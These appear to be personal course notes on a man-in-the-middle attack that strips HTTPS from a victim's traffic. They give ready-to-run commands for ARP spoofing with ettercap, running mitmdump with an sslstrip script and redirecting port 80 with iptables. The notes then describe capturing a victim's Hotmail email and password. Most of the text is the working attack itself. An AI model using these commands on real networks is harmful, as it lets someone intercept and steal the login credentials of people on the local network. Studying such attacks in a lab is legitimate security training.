Doing all the above post connection attacks on HTTPS

pátek 10. července 2020 9:03

Bypassing HTTPS with mitmproxy

Everything we didso far will NOT work against HTTPS pages. HTTPS data is encrypted using SSL. Data can NOT be read and modified. SSLstrip can NOT be used because mitmproxy can not work with another transparent proxy (sslstrip). Solution is to use a mitmproxy script to bypass https.

Complex script: https://github.com/mitmproxy/mitmproxy/tree/v2.0.2/examples/complex
Download these script to the same directory as mitm proxy. /opt/mitmproxy

```
# do and arp spoofing attack first
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
# run the mitmproxy with sslstrip script
$ ./mitmdump -s sslstrip.py --transparent
# run following to redirect traffic throw our mitmproxy
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Lets go to the victim machine and browse for example for hotmail.com and you should see that the connection was downgraded to http. After you try to type some email and pass you should be able to capture it in the hacker machine.